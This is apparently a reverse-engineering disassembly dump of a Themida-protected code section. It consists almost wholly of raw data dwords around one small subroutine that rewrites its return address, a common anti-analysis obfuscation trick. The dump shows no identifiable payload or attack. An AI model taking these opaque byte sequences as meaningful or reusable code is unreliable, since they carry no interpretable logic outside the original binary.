		dd 8166F0C3h, 834C34DFh, 0E28D9BDh, 840F0106h, 45Ah, 0D41BD8Bh
		dd 0BD83060Eh, 60E28D9h, 11860F03h, 6A000004h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0FE4FC351h, 97F83BEDh, 6A6050h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0DD17F2C3h, 6AD98C66h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 7A71C352h, 0B57AEAEAh, 0FB9CBBEAh, 4E180FCh
		dd 0FD91BB66h, 840FC90Ah, 105h,	17F9858Bh, 9589060Eh, 60E2D2Dh
		dd 1D1D8533h, 5790060Eh, 0E5F7BF66h, 9EBF505Fh,	90329040h
		dd 30C9BD89h, 6AF5060Eh, 0D7816600h, 4E80CDEh, 0FF000000h
		dd 8B001F03h, 0FE8B50FAh, 424448Bh, 0DE9h, 513DA800h, 50CB1C6Ch
		dd 94561504h, 8B9A9Bh, 8B665250h, 0E9310FD8h, 0Bh, 0CDE1F487h
		dd 0C0AB28A8h, 5ACBFFF1h, 24448958h, 0AE904h, 9E500000h
		dd 2644D205h, 119F5A30h, 0EE958h, 54710000h, 8141EEA5h
		dd 4F505C3Bh, 7C637014h, 11E9h,	8D384400h, 8720FFE0h, 83B6114Eh
		dd 7A775676h, 95FF70B0h, 60E0ED5h, 4598589h, 8589060Eh
		dd 611A07Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	76C35343h, 0DF8166DCh, 0AE9DAA7h, 6A000002h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 9D12C350h, 1D770E8h,	73858BA7h, 6A0611A0h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0F5F3C355h, 9D8B06D1h, 60E1029h, 1800Fh, 0C7F50000h
		dd 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 696939EBh, 9B2838B9h, 0E9B529CEh
		dd 8B060E34h, 11A077B5h, 35858B06h, 6A060E14h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 5320C350h, 0A9B049EAh, 0F566B1Bh, 84h, 6895B00h, 0CF97BF66h
		dd 17F9858Bh, 9D01060Eh, 60E1AA5h, 6A044689h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 38D9C350h, 13E9C8h, 4CDB0000h, 0A5A8203Ah, 6C6AB5FAh
		dd 1C4898Fh, 0B8BDC796h, 8B66965Eh, 665150DAh, 965FFA8Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 6CC35040h
		dd 0E45BD8Bh, 0B5FF060Eh, 611A073h, 68F98B66h, 1A439665h
		dd 0B47751BBh, 2434811Fh, 1A5C959Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0A1C35343h,	8ABA20DCh, 277D9D01h
		dd 0B70F060Eh, 7B858DF9h, 6A0611A0h, 3E85300h, 20000000h
		dd 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 387AC353h, 1880Fh
		dd 0FF50000h, 0F50F8B7h, 0C8Ah,	66525000h, 0FE0A0BBh, 5ADF8B31h
		dd 24048958h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	45C35747h, 0D1503E8Eh, 7631F31Bh, 0FFDBBF0Fh, 0E0ED595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 29F76793h, 0E25659Dh, 7E96106h, 0AF000000h
		dd 6A645213h, 85C770C5h, 60E28D9h, 3, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 29C35747h, 0B944CB10h, 0BD83F0CDh
		dd 611A07Bh, 65840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 998BC355h
		dd 20B77436h, 1DBD8B4Fh, 0E9060E24h, 53h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 0E1C35040h, 0BD8BD98Ah
		dd 60E0449h, 68D0F60h, 29000000h, 0E1655BDh, 41BD8B06h
		dd 61060E0Fh, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 53D6C352h, 0BD3109C0h,	60E1F6Dh
		dd 0BE9h, 0C5692D00h, 0EE7F057Dh, 9304B7Bh, 194D8D89h
		dd 0BD83060Eh, 60E28D9h, 6B850F03h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0E3E2C353h, 0ADD73CA4h, 11950102h, 57060E02h, 7BBD835Bh
		dd 611A0h, 434840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 928047C3h, 36D3812Ah
		dd 0FF3A5F27h, 11A07BB5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0C6BD5DC1h
		dd 61DBE919h, 8589DE8Bh, 60E24A1h, 8D595FFh, 6A060Eh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0C77486C3h, 8E0F727Bh, 0DFEB8166h, 68E0F32h,	89000000h
		dd 0E08D98Dh, 0DCC78006h, 0A06FB58Bh, 9D890611h, 60E2385h
		dd 106C7h, 0BB660001h, 0E996BAFAh, 11h,	7192B104h, 5386AF4Fh
		dd 76DF5AF0h, 0DB34538Ah, 0AE950C2h, 0B000000h,	699BB7Dh
		dd 26EEF067h, 0BD31960Ah, 60E1B85h, 0A07BB5FFh,	6A0611h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8B6672C3h, 1995FFF9h, 6A060E10h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 2A97C353h
		dd 0ADDD06DFh, 8BD01140h, 11A06FB5h, 6D858906h,	8B060E22h
		dd 0E00A985h, 0C4868906h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F52C356h
		dd 688h, 0F59D0300h, 66060E0Fh,	85D5CF81h, 2FC5958Bh, 6A060Eh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 2FA93CC3h, 8F113983h, 6A04C283h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 89A6C350h
		dd 858D2050h, 611B41Ch,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 1CC35343h, 0B88689h, 0BF660000h, 6A42E4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 96C35646h
		dd 0D92F9F38h, 0A07BB5FFh, 6A0611h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0D23F48C3h
		dd 4995FFA6h, 6A060E1Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 6687C356h, 0FBE02BBh
		dd 58Fh, 0C7816600h, 8B50AF02h,	243489D8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 41C35141h, 85CB2FA1h
		dd 2FB561EEh, 0FFD88B66h, 11A07BB5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0F08AD536h
		dd 0CFE5FF8Bh, 14DB8101h, 0FF511D01h, 0E16D195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0CFFDEDA0h, 0DB800489h, 12E908h, 883B0000h, 41B2DCCBh
		dd 6A9B441Dh, 0A652B552h, 0D355F054h, 30D5BD83h, 0F00060Eh
		dd 1384h, 65952900h, 50060E0Ah,	89DA8B66h, 0C7812434h
		dd 19DA4392h, 0A07BB5FFh, 0FFFC0611h, 0E298195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0F3843C03h, 8A0F8AC8h, 6, 2095B501h,	7E9060Eh, 78000000h
		dd 2BC98462h, 0B5FF294Dh, 611A07Bh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 7DC35040h, 11E96CD2h, 6C000000h
		dd 0D94FCB89h, 0CAC265BBh, 9241F9Eh, 85A48A41h,	1ABD95FFh
		dd 9589060Eh, 60E2379h,	29D5BD83h, 0F02060Eh, 6684h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 9DB7A6E1h, 389ABB66h, 7D1858Bh, 0BD33060Eh, 60E1AD5h
		dd 6A0000C6h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 87C2C356h, 0CDF93DC0h,	65BD8BB0h
		dd 0F060E02h, 68Ah, 159D8900h, 0C7060E25h, 0E351585h, 6
		dd 10E900h, 0A4CC0000h,	302DB757h, 5865E95Bh, 5FC12513h
		dd 21E9A019h, 0FFFFFF3h, 688h, 218D0900h, 8B060E08h, 0DBD89C1h
		dd 89060E0Bh, 0E241595h, 0C1858D06h, 0F060E19h,	0B750DEB7h
		dd 24048991h, 1FE58D29h, 6A060Eh, 2055BD8Bh, 6A060Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 9FC35040h, 424665B7h
		dd 0EAA3858Dh, 6A0612h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0BC88F6C3h, 85E2820Ah, 8956565Fh
		dd 0E2435BDh, 835F5B06h, 0B705C0h, 0AE950h, 0E88F0000h
		dd 137C6732h, 6BA6B369h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B69C353h
		dd 89006AF9h, 0E1FE585h, 6A006A06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0CBD6C353h
		dd 55E1EC52h, 97E517CAh, 2A159D09h, 95FF060Eh, 60E2FE1h
		dd 8DDBB70Fh, 11924B8Dh, 0FFB8B706h, 57006AD1h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BD8B67DEh
		dd 60E2E45h, 0D79BD83h,	0F01060Eh, 8685h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0C0EE229Bh, 8BFC7EDAh, 0E038D9Dh, 6A026A06h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 18E4C355h, 1DB53F61h, 0CB816610h, 6EBFDFADh,	504E0F16h
		dd 0D38B6660h, 4810Fh, 0B8660000h, 8961948Fh, 820F2404h
		dd 6, 2C4DBD89h, 9D8B060Eh, 60E0005h, 1E4995FFh, 8166060Eh
		dd 0E911F0DBh, 0F0Ah, 0E8h
		dd 0ED815D00h, 612EAADh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 99C35646h, 90989B62h,	0F5E5BFB3h, 6AF98B66h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 8FB7C356h, 0D715E72Ah, 42DCBF66h,	8405858Dh
		dd 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0BAACAEC3h, 504892FEh, 489F88Bh, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 64FC8AEFh, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0D36F0C3h, 0F2548EDh
		dd 0C8Ah, 68A0F00h, 1000000h, 0E00AD8Dh, 41858906h, 64060E0Dh
		dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 8EEFC3h,	147585FFh, 9D8B060Eh, 60E081Dh
		dd 0BD89FF6Ah, 60E156Dh, 1AA1B5FFh, 6A060Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 22648AC3h
		dd 0D98B66D1h, 2F8195FFh, 22E9060Eh, 66000001h,	4FB4E381h
		dd 9D8B00B0h, 60E3085h,	0BF6670E6h, 71E473D9h, 7E9h, 88CD4100h
		dd 98D2F13Dh, 8E8h, 85C63100h, 0F9C441BBh, 0C1E78166h
		dd 5B0058F6h, 830F613Ch, 0E5h, 8D99D89h, 0B60F060Eh, 0B50B60C8h
		dd 60E0C79h, 58A0Fh, 0D0BA0000h, 616BA48Ch, 6BAh, 8B12B300h
		dd 4E8C1C1h, 28D0Fh, 0FA8B0000h, 89E2F766h, 0E0D4185h
		dd 66C82B06h, 0D18BD88Bh, 3830Fh, 0BF0F0000h, 97E9FBh
		dd 0FE8B0000h, 4858Bh, 5E80000h, 8C000000h, 0C60CC030h
		dd 0E5CF8053h, 0C0835F5Bh, 0BD315607h, 60E0E45h, 0C0835Bh
		dd 0E759D8Bh, 10E9060Eh, 90000000h, 8DA72BCh, 8D8F30A1h
		dd 810C515Dh, 3B782F58h, 1B830FD0h, 0BB000000h,	46A0198Dh
		dd 44E9h, 0CE900h, 65060000h, 72B1646Fh, 7EFBF5BDh, 8D8B3313h
		dd 0FFFFFFFFh, 6860Fh, 9D8B0000h, 60E1E69h, 0F01E183h
		dd 1884h, 2ADF8100h, 8309DAEBh,	0FFFFFFA5h, 9589FEFFh
		dd 4, 0E9h, 0A9B58D00h,	6A061264h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8117C353h
		dd 0E92EF8F7h, 61BD8979h, 6A060E17h, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BD03A8AFh
		dd 60E1599h, 0F4595FFh,	6A060Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0FD8098C3h, 97C39E4h
		dd 0E1375BDh, 3870F06h,	0F000000h, 0EDB9FBB7h, 6A000010h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 40E2C356h, 81EEE5FCh, 0C0F468AAh,	6AFCE183h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E952C357h, 6, 0C40E09DBh, 6AFC8A0Ch, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0F26FC353h, 9866B78Ah, 23159D8Bh, 0B8060Eh, 0E8000000h
		dd 14h,	0B73336BEh, 0A0E0C819h,	0DA91C8E0h, 0C57CE175h
		dd 0B96B5652h, 4890Fh, 0BF660000h, 2B5FC1F1h, 0C48060D2h
		dd 6186B729h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 32C35141h, 0CDA0E3BEh
		dd 6AE31071h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 1B87C353h, 2C83F419h, 0DFC346Eh
		dd 88h,	40D9D31h, 8C0F060Eh, 10h, 0BE9h, 0CCC97F00h, 24F13752h
		dd 0E0F81E2Bh, 2FC5958Bh, 6A060Eh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 5CED99C3h, 84D35BC2h
		dd 25598D29h, 9D8B060Eh, 60E1C95h, 8818D8Bh, 6A060Eh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 9E18DBC3h, 0F94A75DDh, 2E55BD8Bh, 8B50060Eh,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0A7C35343h,	6820Fh,	9D8B0000h
		dd 60E1BD1h, 0C6DBD83h,	0F00060Eh, 7684h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0C781D8F7h, 11D1D21Eh, 0B8h,	0D18D8D00h, 6A060E4Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 6BA8C355h, 5687DA5Bh, 8E8h, 1AA2E600h, 4FD5BD12h
		dd 0EE943h, 73810000h, 4D5212E1h, 74FF946Ah, 9A7C204Eh
		dd 0E1FF5B5Bh, 83F98B66h, 0E28D9BDh, 840F0006h,	51Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0D9C35747h, 8C27D1C4h
		dd 0BD8B3249h, 60E00A5h, 28D9BD83h, 0F01060Eh, 50384h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 44F6A37Bh, 0F91E4F7Ah, 4820F50h,	66000000h
		dd 5F0589BFh, 0DC82BB66h, 28D9BD83h, 0F03060Eh,	48D86h
		dd 160FC00h, 0E02ADB5h,	8C66F806h, 57006AD9h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 45FF2B53h
		dd 111BFFC1h, 20259D8Bh, 0E180060Eh, 3F88B04h, 0E0219BDh
		dd 0FC90A06h, 1B184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 1B9B4389h, 90214ACDh
		dd 0F9858BE2h, 6A060E17h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 9AE3C352h, 8BCA91D8h
		dd 667B4329h, 8F2C781h,	33D9B70Fh, 0E1D1D85h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 5995BE8Ch, 0EFD354F7h, 0E8539053h, 0Eh, 38C6DAB8h, 87EA09AFh
		dd 3173D178h, 9FBB8AF6h, 5B60078Fh, 0FE8505Fh, 36000000h
		dd 65BA1DC7h, 83B334EBh, 0F164AF9Dh, 905FE9DBh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 84C35040h, 1F32304Eh
		dd 56751368h, 6AC7B35Bh, 0C9958900h, 0E8060E1Ch, 4, 1F03FFh
		dd 0CE8h, 0F6B1A000h, 2131840Ah, 0F4825CADh, 5B516032h
		dd 66505F61h, 8B7B53BBh, 8B042444h, 1F8DBF00h, 448947FDh
		dd 9E90424h, 13000000h,	9E411581h, 4E929CC4h, 55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0C346C478h, 8926B9DFh, 0E191185h, 0D595FF06h, 6A060E0Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 1996C355h, 28FD9D2Bh, 8B0F060Eh, 6, 2005BD8Bh
		dd 8589060Eh, 611A07Bh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0B0C35747h, 0E92F4FF1h, 209h,	8A5BD03h
		dd 858B060Eh, 611A073h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 43C35747h, 0B70F60F7h, 8A0F57C8h, 0
; ---------------------------------------------------------------------------
		pop	esi
		popa
		mov	dword ptr [eax], 18h
		push	0
		push	edx
		call	sub_59889B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59889B	proc near		; CODE XREF: Themida_:00598893p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_59889B	endp

; ---------------------------------------------------------------------------
		db 0A3h
		dd 4CCFFAD7h, 3E56BFCEh, 0DC6BD381h, 0B58B4EEAh, 611A077h
		dd 10E9h, 3F033400h, 0A45910E7h, 0EB0C53C2h, 51E7B61Dh
		dd 35858BB6h, 6A060E14h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 64B9C352h, 0CDE04B4Bh
		dd 858B0689h, 60E17F9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0FBC35343h, 15393F35h, 158BB6A9h, 119FF781h
		dd 0F563403h, 895BD9BFh, 6A0446h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 9E70B9C3h, 0EFAAAE25h
		dd 66605000h, 0BB66C78Bh, 8961C442h, 9D8B2434h,	60E2995h
		dd 0A073B5FFh, 6A0611h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 95A82C3h, 0D91F29EFh, 81F8FD2Bh
		dd 28ED14D7h, 687C6844h, 0BB665010h, 348142F4h,	0F6B8324h
		dd 53006A50h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 37F8DB9Ah, 1B372F7h, 0B1BD096Bh,	89060E18h
		dd 0E0F419Dh, 7B858D06h, 30611A0h, 0E08959Dh, 7E95006h
		dd 0FC000000h, 0ED572A5Fh, 489429Ah, 55006A24h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 60F2FD2Eh
		dd 0FCD78166h, 5DBD8BC7h, 0FF060E03h, 0E0ED595h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0E9605822h, 0Ah, 0BD5A1EBDh,	0D96520ADh, 9D89D991h
		dd 60E0A4Dh, 6A6161h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 673DCEC3h, 28D985C7h, 3060Eh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 502580C3h, 0AC32771Eh, 7E9h,	9DC34C00h, 36918C6Fh, 0A07BBD83h
		dd 0F000611h, 2D84h, 0FFB70F00h, 40E9h,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 7CEBEDEEh, 6F18D89h,	3050060Eh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 93B99289h
		dd 0C690C5CAh, 277DB589h, 0BD83060Eh, 60E28D9h,	0C8850F03h
		dd 89000003h, 0E07CD8Dh, 0F8B70F06h, 0A07BBD83h, 0F000611h
		dd 3B284h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 22BD864h,	719589ABh, 0F060E14h, 0C8Eh
		dd 68E0F00h, 8B000000h,	0E25119Dh, 0FE806h, 289C0000h
		dd 4A84758Fh, 6FC7A872h, 6DBD9A76h, 0B5FF5B47h,	611A07Bh
		dd 2DBD9D8Bh, 95FF060Eh, 60E08D5h, 10E9h, 36338700h, 6AC8539Eh
		dd 89CC0E81h, 5D6B2A6Bh, 6FB58BAFh, 6A0611A0h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 8679C353h, 6C7C575h,	10001h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 66C35747h, 213B545Fh, 7DBD2BF8h
		dd 96060E16h, 963CB750h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 83C35141h, 0B739814Fh, 0A4F6C3CFh, 41BD8BA1h
		dd 81060E20h, 7038BCD3h, 7BB5FF35h, 6A0611A0h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 902CC356h, 0B70FC7C7h, 1995FFDEh, 0B3060E10h, 6FB58B23h
		dd 0F0611A0h, 188Eh, 13E900h, 0B7420000h, 3AB0E4AEh, 31EE15CCh
		dd 964EF26Bh, 9A03FE6h,	0A9858B95h, 80060E00h, 8689D0C7h
		dd 0C4h, 958B5DB7h, 60E2FC5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 66C35747h, 1ED0E10h, 0E0CD18Dh
		dd 4C28306h, 0C1DA8160h, 667F8007h, 972E381h, 20508961h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F3C35747h
		dd 47DF7182h, 0DB80D14Eh, 499D8BE3h, 8D060E04h,	11B41C85h
		dd 0A1958906h, 89060E28h, 0B886h, 14E900h, 9A20000h, 36856307h
		dd 0EF2097C8h, 0DC9F6FA6h, 6D55AC6h, 6AB6ABh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 82C35747h, 7BB5FF41h
		dd 0E90611A0h, 0Ch, 94E8D1FFh, 0C3E836E5h, 2B18BE99h, 352D9D8Bh
		dd 95FF060Eh, 60E1E49h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0BDC35545h, 1F4D9589h, 0BD29060Eh, 60E3095h
		dd 0F88B6696h, 6A9650h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 774429C3h, 56BCD408h, 34A58D09h
		dd 0B5FF060Eh, 611A07Bh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 8DC35242h, 2B5E176Dh,	1AE22958h, 0D195FFD2h
		dd 83060E16h, 0E30D5BDh, 840F0006h, 42h, 2E4ABB66h, 8B665396h
		dd 0E8505FFAh, 9, 0C999F4FFh, 29795056h, 6A965F31h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 346FC350h, 238D4D47h, 0BE98D89h, 0B5FF060Eh,	611A07Bh
		dd 9BDF8166h, 8195FF4Dh, 29060E29h, 0E0DDD9Dh, 7BB5FF06h
		dd 6A0611A0h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0A7BBC356h, 0BD891577h, 60E17E1h
		dd 1ABD95FFh, 8589060Eh, 60E08FDh, 1DFDBD31h, 0BD83060Eh
		dd 60E29D5h, 34840F02h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 82A7C351h
		dd 1665871Dh, 8BDCAAFDh, 0E07D185h, 0C3F1BB06h,	0C609C5h
		dd 0C7DE8A00h, 0E351585h, 6, 0F19D8900h, 0E9060E0Dh, 0FFFFF274h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C1C35242h
		dd 574B303Dh, 0AE924h, 57430000h, 0B8A180CCh, 4A1D1732h
		dd 8BDF8B66h, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0CA888443h, 5E9602Ch, 0C7000000h
		dd 301028E7h, 6157EA80h, 35199D89h, 858D060Eh, 60E19C1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 51C35040h
		dd 83F072E2h, 0CDCB8148h, 0BF53B60Eh, 28268BA7h, 0EACBB90h
		dd 90505C82h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	9BC35343h, 8595C52h, 0CE8h, 32781200h, 0E9F353D7h
		dd 0C5B6FB6Dh, 0FA8B66B4h, 6A006A5Fh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 9773C350h
		dd 5B395D25h, 6AF2B7h, 0D2858DF8h, 6A0612FBh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 81B9C350h, 431F5343h, 898B24D1h, 0E27719Dh, 5C08306h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B0C35343h
		dd 433F3F8Bh, 0DAB70F31h, 12E850h, 76CC0000h, 8C05F869h
		dd 33970127h
		dd 8EC57046h, 1DC0A7BEh, 0AE8h,	0F1D4EB00h, 0A1CBDBABh
		dd 0E88C7191h, 14h, 0C5744CDDh,	68C42A9Ah, 0AA2B65Eh, 870D8088h
		dd 0EDF37715h, 895F5F5Bh, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 92BBA0C3h, 39AEB283h
		dd 0E5BD03D6h, 6A060E2Eh, 0DAEF8000h, 9589006Ah, 60E0E9Dh
		dd 8E960h, 6A6A0000h, 7CE3BAABh, 0FF61BECFh, 0E2FE195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0FB28A1Fh, 8D8DF8CEh, 611924Bh, 2CC38166h
		dd 6AD1FF55h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 5C38C357h, 0A615D4BFh,	21A52955h
